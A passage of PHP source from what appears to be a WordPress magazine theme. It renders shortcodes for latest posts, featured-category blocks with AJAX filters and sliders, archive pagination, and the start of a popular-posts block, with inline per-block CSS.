                <?php echo $block_id_css; ?>
                .penci-post-box-meta.penci-post-box-grid .penci-post-share-box {
                    padding-right: 0;
                    padding-left: 10px;
                }
                <?php } else if( 'center' == $share_alignment ) { ?>
                <?php echo $block_id_css; ?>
                .penci-post-box-meta.penci-post-box-grid .penci-post-share-box {
                    padding-right: 10px;
                    padding-left: 10px;
                }
                <?php } ?>
                <?php endif ?>
                <?php if( $penci_items_martop ): ?>
                <?php echo $block_id_css; ?>
                .penci-grid > li, <?php echo $block_id_css; ?> .grid-featured, <?php echo $block_id_css; ?> .penci-grid li.typography-style, <?php echo $block_id_css; ?> .grid-mixed, <?php echo $block_id_css; ?> .penci-grid .list-post.list-boxed-post, <?php echo $block_id_css; ?> .penci-masonry .item-masonry, <?php echo $block_id_css; ?> article.standard-article, <?php echo $block_id_css; ?> .penci-grid li.list-post, <?php echo $block_id_css; ?> .grid-overlay {
                    margin-bottom: <?php echo $penci_items_martop; ?>;
                }
                <?php echo $block_id_css; ?>
                .penci-grid li.list-post {
                    padding-bottom: <?php echo $penci_items_martop; ?>;
                }
                <?php echo $block_id_css; ?>.penci-latest-posts-mixed-3 .penci-grid li.penci-slistp, <?php echo $block_id_css; ?>.penci-latest-posts-mixed-4 .penci-grid li.penci-slistp {
                    padding-bottom: 0px;
                    margin-bottom: 0px;
                    padding-top: <?php echo $penci_items_martop; ?>;
                }
                <?php echo $block_id_css; ?>.penci-latest-posts-mixed-3 .penci-grid li.penci-slistp ~ .penci-slistp, <?php echo $block_id_css; ?>.penci-latest-posts-mixed-4 .penci-grid li.penci-slistp ~ .penci-slistp {
                    margin-top: <?php echo $penci_items_martop; ?>;
                }
                <?php echo $block_id_css; ?>.penci-latest-posts-mixed-3 .penci-grid li.list-post.penci-slistp:last-child, <?php echo $block_id_css; ?>.penci-latest-posts-mixed-4 .penci-grid li.list-post.penci-slistp:last-child {
                    margin-bottom: <?php echo $penci_items_martop; ?>;
                }
                <?php endif; ?>
                <?php if( $penci_bitems_martop ): ?>
                <?php echo $block_id_css; ?>
                .grid-featured, <?php echo $block_id_css; ?> .grid-mixed, <?php echo $block_id_css; ?> article.standard-article, <?php echo $block_id_css; ?> .grid-overlay {
                    margin-bottom: <?php echo $penci_bitems_martop; ?>;
                }
                <?php endif; ?>
                <?php if( $penci_sitems_martop ): ?>
                <?php echo $block_id_css; ?>
                .penci-grid li.penci-slistp {
                    margin-bottom: <?php echo $penci_sitems_martop; ?>;
                    padding-bottom: <?php echo $penci_sitems_martop; ?>;
                }
                <?php echo $block_id_css; ?>.penci-latest-posts-mixed-3 .penci-grid li.penci-slistp, <?php echo $block_id_css; ?>.penci-latest-posts-mixed-4 .penci-grid li.penci-slistp {
                    padding-bottom: 0px;
                    margin-bottom: 0px;
                    padding-top: <?php echo $penci_sitems_martop; ?>;
                }
                <?php echo $block_id_css; ?>.penci-latest-posts-mixed-3 .penci-grid li.penci-slistp ~ .penci-slistp, <?php echo $block_id_css; ?>.penci-latest-posts-mixed-4 .penci-grid li.penci-slistp ~ .penci-slistp {
                    margin-top: <?php echo $penci_sitems_martop; ?>;
                }
                <?php endif; ?>
                <?php if( $list_imgwidth ): ?>
                @media only screen and (min-width: 768px) {
                <?php echo $block_id_css; ?> .penci-grid li.list-post.penci-slistp .item > .thumbnail, <?php echo $block_id_css; ?>.penci-latest-posts-sc .penci-grid li.list-post .item > .thumbnail {
                    width: <?php echo $list_imgwidth; ?>;
                }
                    <?php echo $block_id_css; ?>.penci-latest-posts-sc .penci-grid li.penci-item-listp .item .content-list-right {
                        width: calc(100% - <?php echo $list_imgwidth; ?> );
                    }
                }
                <?php endif; ?>
                <?php if( 'yes' == $standard_meta_overlay ): ?>
                <?php echo $block_id_css; ?>
                .penci-wrapper-data .standard-post-image:not(.classic-post-image) {
                    margin-bottom: 0;
                }
                <?php echo $block_id_css; ?>
                .header-standard.standard-overlay-meta {
                    margin: -30px 30px 19px;
                    background: #fff;
                    padding-top: 25px;
                    padding-left: 5px;
                    padding-right: 5px;
                    z-index: 10;
                    position: relative;
                }
                <?php echo $block_id_css; ?>
                .penci-wrapper-data .standard-post-image:not(.classic-post-image) .audio-iframe, .penci-wrapper-data .standard-post-image:not(.classic-post-image) .standard-content-special {
                    bottom: 50px;
                }
                @media only screen and (max-width: 479px) {
                <?php echo $block_id_css; ?> .header-standard.standard-overlay-meta {
                    margin-left: 10px;
                    margin-right: 10px;
                }
                }
                <?php if( get_theme_mod( 'penci_bg_color_dark' ) ): ?>
                <?php echo $block_id_css; ?>
                .header-standard.standard-overlay-meta {
                    background-color: <?php echo penci_get_setting( 'penci_bg_color_dark' ); ?>;
                }
                <?php endif; ?>
                <?php endif ?>
                <?php if( 'yes' == $grid_remove_line ): ?>
                <?php echo $block_id_css; ?>
                .list-post .header-list-style:after,
                <?php echo $block_id_css; ?> .grid-header-box:after,
                <?php echo $block_id_css; ?> .penci-overlay-over .overlay-header-box:after,
                <?php echo $block_id_css; ?> .home-featured-cat-content .first-post .magcat-detail .mag-header:after {
                    content: none;
                }
                <?php echo $block_id_css; ?>
                .list-post .header-list-style, <?php echo $block_id_css; ?> .grid-header-box,
                <?php echo $block_id_css; ?> .penci-overlay-over .overlay-header-box,
                <?php echo $block_id_css; ?> .home-featured-cat-content .first-post .magcat-detail .mag-header {
                    padding-bottom: 0;
                }
                <?php endif; ?>
                <?php if( 'yes' == $standard_remove_line ): ?>
                <?php echo $block_id_css; ?>
                .header-standard:after {
                    content: none;
                }
                <?php echo $block_id_css; ?>
                .header-standard {
                    padding-bottom: 0;
                }
                <?php endif; ?>
                <?php if( 'yes' == $standard_effect_button ): ?>
                <?php echo $block_id_css; ?>
                .penci-more-link a.more-link:hover:before {
                    right: 100%;
                    margin-right: 10px;
                    width: 60px;
                }
                <?php echo $block_id_css; ?>
                .penci-more-link a.more-link:hover:after {
                    left: 100%;
                    margin-left: 10px;
                    width: 60px;
                }
                <?php echo $block_id_css; ?>
                .standard-post-entry a.more-link:hover,
                <?php echo $block_id_css; ?> .standard-post-entry a.more-link:hover:before,
                <?php echo $block_id_css; ?> .standard-post-entry a.more-link:hover:after {
                    opacity: 0.8;
                }
                <?php endif; ?>
                <?php if( $pshare_fsize ): ?>
                <?php echo $block_id_css; ?>
                .penci-post-box-meta .penci-post-share-box a {
                    font-size: <?php echo $pshare_fsize; ?>;
                }
                <?php echo $block_id_css; ?>
                .penci-post-box-meta .penci-post-share-box .penci-svg-messenger {
                    width: <?php echo $pshare_fsize; ?>;
                }
                <?php endif; ?>
            </style>
			<?php
			$return = ob_get_clean();

			if ( $block_id && class_exists( 'Penci_Custom_CSS_Shortcode_Old' ) ) {
				$return .= Penci_Custom_CSS_Shortcode_Old::latest_posts( $block_id, $atts );
			}

			return $return;
		}

		/**
		 * Retrieve HTML markup of featured_cat shortcode
		 *
		 * @param array $atts
		 * @param string $content
		 *
		 * @return string
		 */
		public static function featured_cat( $atts, $content = null ) {

			$orderby = $order = '';
			$atts    = shortcode_atts( array(
				'style'    => 'style-1',
				'category' => '',
				'number'   => '5',
				'orderby'  => 'date',
				'order'    => 'DESC',

				'penci_columns'        => '',
				'penci_columns_tablet' => '',
				'penci_columns_mobile' => '',
				'penci_column_gap'     => '',
				'penci_row_gap'        => '',

				'hide_block_heading'  => '',
				'heading'             => '',
				'heading_title_style' => '',
				'heading_title_html_tag' => '',
				'heading_title_link'  => '',
				'heading_title_align' => '',
				'heading_icon_pos'    => '',
				'heading_icon'        => '',
				'build_query'         => '',
				'elementor_query'     => '',

				// View all button
				'cat_seemore'         => '',
				'cat_view_link'       => '',
				'cat_remove_arrow'    => '',
				'cat_readmore_button' => '',
				'cat_readmore_align'  => '',

				'block_title_color'     => '',
				'block_title_hcolor'    => '',
				'btitle_bcolor'         => '',
				'btitle_outer_bcolor'   => '',
				'btitle_style5_bcolor'  => '',
				'btitle_style78_bcolor' => '',
				'btitle_bgcolor'        => '',
				'btitle_outer_bgcolor'  => '',
				'btitle_style9_bgimg'   => '',
				'use_btitle_typo'       => '',
				'btitle_typo'           => '',
				'btitle_fsize'          => '',
				'block_title_offupper'  => '',
				'block_title_marginbt'  => '',
				'btitle_shapes_color'   => '',
				'bgstyle15_color'       => '',
				'iconstyle15_color'     => '',
				'cl_lines'              => '',
				'simgwidth'             => '',

				'pborder_color'     => '',
				'ptitle_color'      => '',
				'ptitle_hcolor'     => '',
				'bptitle_color'     => '',
				'bptitle_hcolor'    => '',
				'ptitle_fsize'      => '',
				'use_ptitle_typo'   => '',
				'ptitle_typo'       => '',
				'bptitle_fsize'     => '',
				'pmeta_color'       => '',
				'pmeta_hcolor'      => '',
				'bpmeta_color'      => '',
				'bpmeta_hcolor'     => '',
				'pmeta_bordercolor' => '',
				'use_pmeta_typo'    => '',
				'pmeta_fsize'       => '',
				'pmeta_typo'        => '',
				'pexcerpt_color'    => '',
				'use_pexcerpt_typo' => '',
				'pexcerpt_fsize'    => '',
				'pexcerpt_typo'     => '',
				'pcat_color'        => '',
				'pcat_hcolor'       => '',
				'pcat_fsize'        => '',
				'pcat_typo'         => '',

				'enable_meta_overlay'        => '',
				'hide_author'                => '',
				'show_author_sposts'         => '',
				'hide_readtime'              => '',
				'hide_cat'                   => '',
				'hide_icon_format'           => '',
				'thumb15'                    => '',
				'hide_date'                  => '',
				'show_commentcount'          => '',
				'show_viewscount'            => '',
				'hide_excerpt'               => '',
				'hide_excerpt_line'          => '',
				'cat_autoplay'               => 'false',
				'_excerpt_length'            => '',
				'big_title_length'           => '',
				'_title_length'              => '',
				'penci_featimg_size'         => '',
				'thumb_size'                 => '',
				'penci_featimg_ratio'        => '',
				'biggrid_ajaxfilter_cat'     => '',
				'biggrid_ajaxfilter_tag'     => '',
				'biggrid_ajaxfilter_author'  => '',
				'group_more_link_text'       => '',
				'group_more_defaultab_text'  => '',
				'biggrid_ajax_loading_style' => '',
				'paging'                     => '',
				'validator'                  => '',
				'keys'                       => '',
				'acf'                        => '',
				'label'                      => '',
				'divider'                    => '',

				'cspost_enable'             => '',
				'cspost_cpost_meta'         => '',
				'cspost_cpost_acf_meta'     => '',
				'cspost_cpost_meta_label'   => '',
				'cspost_cpost_meta_divider' => '',

				'wrapper_css' => '',

			), $atts, 'featured_cat' );

			extract( $atts );

			$custom_meta_key = [
				'validator' => $atts['validator'],
				'keys'      => $atts['keys'],
				'acf'       => $atts['acf'],
				'label'     => $atts['label'],
				'divider'   => $atts['divider'],
			];

			if ( $atts['cspost_enable'] && $atts['build_query'] ) {
				$custom_meta_key = [
					'validator' => $atts['cspost_enable'],
					'keys'      => $atts['cspost_cpost_meta'],
					'acf'       => $atts['cspost_cpost_acf_meta'],
					'label'     => $atts['cspost_cpost_meta_label'],
					'divider'   => $atts['cspost_cpost_meta_divider'],
				];
			}

			$big_title_length    = $big_title_length ? $big_title_length : '';
			$_title_length       = $_title_length ? $_title_length : '';
			$penci_featimg_size  = $atts['penci_featimg_size'] ? $atts['penci_featimg_size'] : '';
			$thumb_size          = $atts['thumb_size'] ? $atts['thumb_size'] : '';
			$penci_featimg_ratio = $atts['penci_featimg_ratio'] ? $atts['penci_featimg_ratio'] : '';

			$block_id = '';
			if ( class_exists( 'Penci_Vc_Helper' ) ) {
				$block_id = Penci_Vc_Helper::get_unique_id_block( 'featured_cat' );
			}

			$return = $block_heading = $block_heading_url = $cat_ads_code = '';

			$is_page_builder = false;

			$query_args = array();
			if ( $atts['elementor_query'] ) {
				$query_args = $atts['elementor_query'];

				$is_page_builder = true;
			} elseif ( $atts['build_query'] ) {
				$query_args = penci_build_args_query( $atts['build_query'] );

				$is_page_builder = true;
			} else {
				if ( ! isset( $number ) || ! is_numeric( $number ) ): $number = '5'; endif;
				$fea_oj = get_category_by_slug( $category );

				if ( ! empty ( $fea_oj ) ) {
					$fea_cat_id   = $fea_oj->term_id;
					$fea_cat_name = $fea_oj->name;
					$cat_meta     = get_option( "category_$fea_cat_id" );
					$cat_ads_code = isset( $cat_meta['mag_ads'] ) ? $cat_meta['mag_ads'] : '';

					$block_heading     = sanitize_text_field( $fea_cat_name );
					$block_heading_url = get_category_link( $fea_cat_id );

					$query_args = array(
						'post_type' => 'post',
						'showposts' => $number,
						'orderby'   => $orderby,
						'order'     => $order,
						'tax_query' => array(
							array(
								'taxonomy' => 'category',
								'field'    => 'slug',
								'terms'    => $category
							)
						)
					);
				}
			}
			$fea_query = new WP_Query( $query_args );

			$numers_results = $fea_query->post_count;

			if ( ! $fea_query->have_posts() ) {
				return self::show_missing_settings( 'Featured Cat', penci_get_setting( 'penci_ajaxsearch_no_post' ) );
			}

			if ( $atts['heading_title_style'] ) {
				$heading_title_style = $atts['heading_title_style'];
			} elseif ( get_theme_mod( 'penci_featured_cat_style' ) ) {
				$heading_title_style = get_theme_mod( 'penci_featured_cat_style' );
			} elseif ( get_theme_mod( 'penci_sidebar_heading_style' ) ) {
				$heading_title_style = get_theme_mod( 'penci_sidebar_heading_style' );
			} else {
				$heading_title_style = 'style-1';
			}

			if ( $atts['heading_title_align'] ) {
				$heading_align = $atts['heading_title_align'];
			} elseif ( get_theme_mod( 'penci_featured_cat_align' ) ) {
				$heading_align = get_theme_mod( 'penci_featured_cat_align' );
			} elseif ( get_theme_mod( 'penci_sidebar_heading_align' ) ) {
				$heading_align = get_theme_mod( 'penci_sidebar_heading_align' );
			} else {
				$heading_align = 'pcalign-left';
			}

			$sb_icon_pos         = get_theme_mod( 'penci_sidebar_icon_align' ) ? get_theme_mod( 'penci_sidebar_icon_align' ) : 'pciconp-right';
			$heading_icon_pos    = get_theme_mod( 'penci_homep_icon_align' ) ? get_theme_mod( 'penci_homep_icon_align' ) : $sb_icon_pos;
			$sb_icon_design      = get_theme_mod( 'penci_sidebar_icon_design' ) ? get_theme_mod( 'penci_sidebar_icon_design' ) : 'pcicon-right';
			$heading_icon_design = get_theme_mod( 'penci_homep_icon_design' ) ? get_theme_mod( 'penci_homep_icon_design' ) : $sb_icon_design;

			if ( $atts['heading_icon_pos'] ) {
				$heading_icon_pos = $atts['heading_icon_pos'];
			}

			if ( $atts['heading_icon'] ) {
				$heading_icon_design = $atts['heading_icon'];
			}

			if ( $atts['heading'] ) {
				$block_heading = $atts['heading'];
			}
			if ( $atts['heading_title_link'] ) {
				$block_heading_url = $atts['heading_title_link'];
			}

			$slider_autoplay = 'true';
			if ( $atts['cat_autoplay'] ) {
				$slider_autoplay = 'false';
			}

			$class_wrap = 'penci-featured-cat-sc';

			if ( in_array( $atts['style'], array( 'style-3', 'style-11' ) ) ) {
				if ( $atts['penci_columns'] ) {
					$class_wrap .= ' penci-featured-cat-ctcol';
					$class_wrap .= ' pencisc-grid-' . esc_attr( $atts['penci_columns'] );

					if ( $atts['penci_columns_tablet'] ) {
						$class_wrap .= ' pencisc-grid-tablet-' . esc_attr( $atts['penci_columns_tablet'] );
					}
					if ( $atts['penci_columns_mobile'] ) {
						$class_wrap .= ' pencisc-grid-mobile-' . esc_attr( $atts['penci_columns_mobile'] );
					}
				}
			}

			if ( $wrapper_css ) {
				$class_wrap .= $wrapper_css;
			}

			$link_group_cats   = isset( $atts['biggrid_ajaxfilter_cat'] ) ? $atts['biggrid_ajaxfilter_cat'] : '';
			$link_group_tags   = isset( $atts['biggrid_ajaxfilter_tag'] ) ? $atts['biggrid_ajaxfilter_tag'] : '';
			$link_group_author = isset( $atts['biggrid_ajaxfilter_author'] ) ? $atts['biggrid_ajaxfilter_author'] : '';
			$more_link_text    = isset( $atts['group_more_link_text'] ) ? $atts['group_more_link_text'] : 'More';
			$link_group_out    = $link_group_out_before = $link_group_out_after = '';
			$df_post_per_page  = isset( $elementor_query['posts_per_page'] ) && $elementor_query['posts_per_page'] ? $elementor_query['posts_per_page'] : get_option( 'posts_per_page' );


			$link_group_out_before .= '<nav data-ppp="' . $df_post_per_page . '" data-query_type="ajaxtab" data-blockid="' . $block_id . '" data-more="' . esc_attr( $more_link_text ) . '" class="pcnav-lgroup"><ul class="pcflx">';
			$link_group_out_after  = '</ul></nav>';
			$has_link              = false;
			if ( ! empty( $link_group_cats ) ) {
				$has_link        = true;
				$link_group_cats = is_array( $link_group_cats ) ? $link_group_cats : explode( ',', preg_replace( '/\s+/', '', $link_group_cats ) );
				foreach ( $link_group_cats as $link_cat ) {
					$link_group_out .= '<li><a href="#" aria-label="Category" data-id="' . md5( 'cat-link-' . $link_cat ) . '" class="pc-ajaxfil-link" data-paged="1" data-cat="' . esc_attr( $link_cat ) . '">' . get_term_field( 'name', $link_cat ) . '</a></li>';
				}
			}

			if ( ! empty( $link_group_tags ) ) {
				$has_link        = true;
				$link_group_tags = is_array( $link_group_tags ) ? $link_group_tags : explode( ',', preg_replace( '/\s+/', '', $link_group_tags ) );
				foreach ( $link_group_tags as $link_tag ) {
					$link_group_out .= '<li><a href="#" aria-label="Tag" data-id="' . md5( 'tag-link-' . $link_tag ) . '" class="pc-ajaxfil-link" data-paged="1" data-tag="' . esc_attr( $link_tag ) . '">' . get_term_field( 'name', $link_tag ) . '</a></li>';
				}
			}

			if ( ! empty( $link_group_author ) ) {
				$has_link          = true;
				$link_group_author = is_array( $link_group_author ) ? $link_group_author : explode( ',', preg_replace( '/\s+/', '', $link_group_author ) );
				foreach ( $link_group_author as $author ) {
					$link_group_out .= '<li><a data-id="' . md5( 'author-link-' . $author ) . '" href="#" aria-label="Author" class="pc-ajaxfil-link" data-paged="1" data-author="' . esc_attr( $author ) . '">' . get_the_author_meta( 'nicename', $author ) . '</a></li>';
				}
			}

			if ( penci_switch_value( $atts['paging'] ) ) {
				$link_group_out .= '</ul><ul class="pcflx-nav">';
				$link_group_out .= '<li class="pcaj-nav-item pcaj-prev"><a class="disable pc-ajaxfil-link pcaj-nav-link prev" data-id="" href="#" aria-label="Previous"><i class="penciicon-left-chevron"></i></a></li>';
				$link_group_out .= '<li class="pcaj-nav-item pcaj-next"><a class="pc-ajaxfil-link pcaj-nav-link next" data-id="" href="#" aria-label="Next"><i class="penciicon-right-chevron"></i></a></li>';
			}

			if ( $link_group_out ) {
				$first_class = $has_link ? 'visible' : 'hidden-item';
				$maxout      = '';
				if ( penci_switch_value( $atts['paging'] ) ) {
					$maxout = 'data-maxp="' . $fea_query->max_num_pages . '" ';
				}
				$link_group_out_before .= '<li class="all ' . $first_class . '"><a data-paged="1" ' . $maxout . 'class="pc-ajaxfil-link current-item" data-id="default" href="#" aria-label="Paged">' . $atts['group_more_defaultab_text'] . '</a></li>';
			}

			$link_group_out_after .= self::get_block_script( $block_id, $atts, false );
			$htag = $atts['heading_title_html_tag'] ? $atts['heading_title_html_tag'] : 'h3';
			ob_start();
			?>
            <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $class_wrap ); ?>">
				<?php if ( $style == 'style-2' || $style == 'style-14' ) {
				$wrap_class = '';
				if ( $style == 'style-14' ): $wrap_class = ' mag-cat-style-14'; endif;
				?>
                <div class="home-featured-cat mag-cat-style-2<?php echo $wrap_class; ?>">
					<?php } else { ?>
                    <section class="home-featured-cat mag-cat-<?php echo esc_attr( $style ); ?>">
						<?php } ?>
						<?php if ( $block_heading && ! $atts['hide_block_heading'] ) { ?>
                            <div class="penci-border-arrow penci-homepage-title penci-magazine-title <?php echo esc_attr( $heading_title_style . ' ' . $heading_align . ' ' . $heading_icon_pos . ' ' . $heading_icon_design ); ?>">
                                <<?php echo $htag;?> class="inner-arrow">
                                    <span>
									<?php
									if ( $block_heading_url ) {
										echo '<a href="' . esc_url( $block_heading_url ) . '">';
									} else {
										echo '<span>';
									}
									echo do_shortcode( $block_heading );
									if ( $block_heading_url ) {
										echo '</a>';
									} else {
										echo '</span>';
									}
									?>
                                    </span>
                                </<?php echo $htag;?>>
								<?php if ( $link_group_out ) {
									echo $link_group_out_before . $link_group_out . $link_group_out_after;
									wp_enqueue_script( 'penci_ajax_filter_fcat' );
								} ?>
                            </div>
						<?php } ?>
                        <div class="home-featured-cat-wrapper">
                            <div class="home-featured-cat-content pwf-id-default <?php echo esc_attr( $style ); ?>">
								<?php if ( $style == 'style-4' ): ?>
                                <div class="swiper penci-single-mag-slider penci-owl-carousel penci-owl-carousel-slider"
                                     data-auto="<?php echo $slider_autoplay; ?>" data-dots="true" data-nav="false">
                                    <div class="swiper-wrapper">
										<?php endif; ?>
										<?php if ( $style == 'style-5' || $style == 'style-12' ):
										$data_item = 2;
										if ( $style == 'style-12' ): $data_item = 3; endif;
										?>
                                        <div class="penci-magcat-carousel-wrapper">
                                            <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-magcat-carousel"
                                                 data-speed="400" data-auto="<?php echo $slider_autoplay; ?>"
                                                 data-item="<?php echo $data_item; ?>"
                                                 data-desktop="<?php echo $data_item; ?>"
                                                 data-tablet="2" data-tabsmall="1">
                                                <div class="swiper-wrapper">
													<?php endif; ?>
													<?php if ( $style == 'style-7' || $style == 'style-8' || $style == 'style-13' ): ?>
                                                    <ul class="penci-grid penci-grid-maglayout penci-fea-cat-<?php echo $style; ?>">
														<?php endif; ?>
														<?php
														$m = 1;
														while ( $fea_query->have_posts() ): $fea_query->the_post();
															include( locate_template( 'template-parts/magazine-sc/magazine-' . $style . '.php' ) );
															$m ++; endwhile;
														?>
														<?php if ( $style == 'style-7' || $style == 'style-8' || $style == 'style-13' ): ?>
                                                    </ul>
												<?php endif; ?>
													<?php if ( $style == 'style-5' || $style == 'style-12' ): ?>
                                                </div>
                                            </div>
                                        </div>
									<?php endif; ?>
										<?php if ( $style == 'style-4' ): ?>
                                    </div>
                                </div>
							<?php endif; ?>
                            </div>
							<?php
							if ( $is_page_builder ): ?>
								<?php
								if ( $atts['cat_seemore'] ) {
									$viewall_class = '';

									if ( $atts['cat_remove_arrow'] ): $viewall_class .= ' penci-btn-remove-arrow'; endif;
									if ( $atts['cat_readmore_button'] ) : $viewall_class .= ' penci-btn-make-button'; endif;
									if ( $atts['cat_readmore_align'] ) : $viewall_class .= ' penci-btn-align-' . esc_attr( $atts['cat_readmore_align'] ); endif;
									?>
                                    <div class="penci-featured-cat-seemore penci-seemore-<?php echo esc_attr( $style );
									echo $viewall_class; ?>">
                                        <a href="<?php echo esc_url( $atts['cat_view_link'] ); ?>"><?php echo penci_get_setting( 'penci_trans_view_all' ); ?>
											<?php penci_fawesome_icon( 'fas fa-angle-double-right' ); ?>
                                        </a>
                                    </div>
									<?php
								}
								?>
							<?php elseif ( get_theme_mod( 'penci_home_featured_cat_seemore' ) ):
								$viewall_class = '';
								if ( get_theme_mod( 'penci_home_featured_cat_remove_arrow' ) ): $viewall_class .= ' penci-btn-remove-arrow'; endif;
								if ( get_theme_mod( 'penci_home_featured_cat_readmore_button' ) ): $viewall_class .= ' penci-btn-make-button'; endif;
								if ( get_theme_mod( 'penci_home_featured_cat_readmore_align' ) ): $viewall_class .= ' penci-btn-align-' . get_theme_mod( 'penci_home_featured_cat_readmore_align' ); endif;
								?>
                                <div class="penci-featured-cat-seemore penci-seemore-<?php echo esc_attr( $style );
								echo $viewall_class; ?>">
                                    <a href="<?php echo esc_url( get_category_link( $fea_cat_id ) ); ?>"><?php echo penci_get_setting( 'penci_trans_view_all' ); ?>
										<?php penci_fawesome_icon( 'fas fa-angle-double-right' ); ?>
                                    </a>
                                </div>
							<?php endif; ?>

							<?php if ( $cat_ads_code && ! $is_page_builder ): ?>
                                <div class="penci-featured-cat-custom-ads">
									<?php echo stripslashes( $cat_ads_code ); ?>
                                </div>
							<?php endif;
							if ( $link_group_out ) {
								echo penci_get_html_animation_loading( $atts['biggrid_ajax_loading_style'] );
							}
							?>

                        </div>

						<?php if ( $style == 'style-2' || $style == 'style-14' ) { ?>
                </div>
			<?php } else { ?>
                </section>
			<?php } ?>

            </div><!-- penci-featured-cat-sc -->
			<?php
			wp_reset_postdata();

			$block_id_css = '#' . $block_id;
			?>
            <style>
                <?php if( 'yes' == $hide_excerpt_line ): ?>
                <?php echo $block_id_css; ?>
                .first-post .magcat-detail .mag-header:after,
                <?php echo $block_id_css; ?> .list-post .header-list-style:after,
                <?php echo $block_id_css; ?> .home-featured-cat-content.style-7 .grid-header-box:after {
                    content: none;
                }
                <?php echo $block_id_css; ?>
                .grid-header-box,
                <?php echo $block_id_css; ?> .list-post .header-list-style,
                <?php echo $block_id_css; ?> .first-post .magcat-detail .mag-header {
                    padding-bottom: 0;
                }
                <?php endif; ?>
            </style>
			<?php
			$return = ob_get_clean();

			if ( $block_id && class_exists( 'Penci_Custom_CSS_Shortcode_Old' ) ) {
				$return .= Penci_Custom_CSS_Shortcode_Old::featured_cat( $block_id, $atts );
			}

			return $return;
		}

		public static function penci_soledad_archive_pag_style( $layout_this, $settings ) {

			if ( $settings['penci_archive_nav_ajax'] || $settings['penci_archive_nav_scroll'] ) {

				$button_class = 'penci-ajax-more penci-ajax-arch';
				if ( $settings['penci_archive_nav_scroll'] ) {
					$button_class .= ' penci-infinite-scroll';
				}

				$data_layout = $layout_this;
				if ( in_array( $layout_this, array( 'standard-grid', 'classic-grid', 'overlay-grid' ) ) ) {
					$data_layout = 'grid';
				} elseif ( in_array( $layout_this, array( 'standard-grid-2', 'classic-grid-2' ) ) ) {
					$data_layout = 'grid-2';
				} elseif ( in_array( $layout_this, array( 'standard-list', 'classic-list', 'overlay-list' ) ) ) {
					$data_layout = 'list';
				} elseif ( in_array( $layout_this, array( 'standard-boxed-1', 'classic-boxed-1' ) ) ) {
					$data_layout = 'boxed-1';
				} elseif ( in_array( $layout_this, array( 'mixed-3', 'mixed-4' ) ) ) {
					$data_layout = 'small-list';
				}

				$data_template = 'sidebar';

				$offset_number = get_option( 'posts_per_page' );

				if ( isset( $settings['offset'] ) ) {
					$offset_number = $settings['offset'];
				}

				$num_load = 6;
				if ( isset( $settings['penci_arc_number_load_more'] ) && 0 != $settings['penci_arc_number_load_more'] ):
					$num_load = $settings['penci_arc_number_load_more'];
				endif;
				?>
				<?php

				$data_archive_type  = '';
				$data_archive_value = '';
				if ( is_category() ) :
					$category           = get_category( get_query_var( 'cat' ) );
					$cat_id             = isset( $category->cat_ID ) ? $category->cat_ID : '';
					$data_archive_type  = 'cat';
					$data_archive_value = $cat_id;
					$opt_cat            = 'category_' . $cat_id;
					$cat_meta           = get_option( $opt_cat );
					$sidebar_opts       = isset( $cat_meta['cat_sidebar_display'] ) ? $cat_meta['cat_sidebar_display'] : '';
					if ( $sidebar_opts == 'no' ):
						$data_template = 'no-sidebar';
                    elseif ( $sidebar_opts == 'left' || $sidebar_opts == 'right' ):
						$data_template = 'sidebar';
					endif;

                elseif ( is_tag() ) :
					$tag                = get_queried_object();
					$tag_id             = isset( $tag->term_id ) ? $tag->term_id : '';
					$data_archive_type  = 'tag';
					$data_archive_value = $tag_id;
                elseif ( is_day() ) :
					$data_archive_type  = 'day';
					$data_archive_value = get_the_date( 'm|d|Y' );
                elseif ( is_month() ) :
					$data_archive_type  = 'month';
					$data_archive_value = get_the_date( 'm|d|Y' );
                elseif ( is_year() ) :
					$data_archive_type  = 'year';
					$data_archive_value = get_the_date( 'm|d|Y' );
                elseif ( is_search() ) :
					$data_archive_type  = 'search';
					$data_archive_value = get_search_query();
                elseif ( is_author() ) :

					global $authordata;
					$user_id = isset( $authordata->ID ) ? $authordata->ID : 0;

					$data_archive_type  = 'author';
					$data_archive_value = $user_id;
                elseif ( is_archive() ) :
					$queried_object = get_queried_object();
					$term_id        = isset( $queried_object->term_id ) ? $queried_object->term_id : '';
					$tax            = get_taxonomy( get_queried_object()->taxonomy );
					$tax_name       = isset( $tax->name ) ? $tax->name : '';

					if ( $term_id && $tax_name ) {
						$data_archive_type  = $tax_name;
						$data_archive_value = $term_id;
					}
				endif;

				$button_data = 'data-mes="' . penci_get_setting( 'penci_trans_no_more_posts' ) . '"';
				$button_data .= ' data-layout="' . esc_attr( $data_layout ) . '"';
				$button_data .= ' data-number="' . absint( $num_load ) . '"';
				$button_data .= ' data-offset="' . absint( $offset_number ) . '"';
				$button_data .= ' data-from="customize"';
				$button_data .= ' data-template="' . $data_template . '"';
				$button_data .= ' data-archivetype="' . $data_archive_type . '"';
				$button_data .= ' data-archivevalue="' . $data_archive_value . '"';
				?>
                <div class="penci-pagination <?php echo $button_class; ?>">
                    <a href="#" aria-label="More Posts" class="penci-ajax-more-button" <?php echo $button_data; ?>>
                        <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?></span>
                        <span class="ajaxdot"></span><?php penci_fawesome_icon( 'fas fa-sync' ); ?>
                    </a>
                </div>
				<?php
			} else {
				penci_soledad_pagination();
			}
		}

		/**
		 * Retrieve HTML markup for popular posts element
		 *
		 * @param array $atts
		 * @param string $content
		 *
		 * @return string
		 */
		public static function popular_posts( $atts, $content = null ) {
			$atts = shortcode_atts( array(
				'title'         => 'Popular Posts',
				'type'          => 'all',
				'category'      => '',
				'number'        => '12',
				'columns'       => '4',
				'_title_length' => '10',

				'heading'             => '',
				'hide_block_heading'  => '',
				'heading_title_style' => '',
				'heading_title_html_tag' => '',
				'heading_title_link'  => '',
				'heading_title_align' => '',
				'heading_icon_pos'    => '',
				'heading_icon'        => '',
				'build_query'         => '',
				'elementor_query'     => '',

				'block_title_color'     => '',
				'block_title_hcolor'    => '',
				'btitle_bcolor'         => '',
				'btitle_outer_bcolor'   => '',
				'btitle_style5_bcolor'  => '',
				'btitle_style78_bcolor' => '',
				'btitle_bgcolor'        => '',
				'btitle_outer_bgcolor'  => '',
				'btitle_style9_bgimg'   => '',
				'use_btitle_typo'       => '',
				'btitle_typo'           => '',
				'btitle_fsize'          => '',
				'block_title_offupper'  => '',
				'block_title_marginbt'  => '',
				'btitle_shapes_color'   => '',
				'bgstyle15_color'       => '',
				'iconstyle15_color'     => '',
				'cl_lines'              => '',
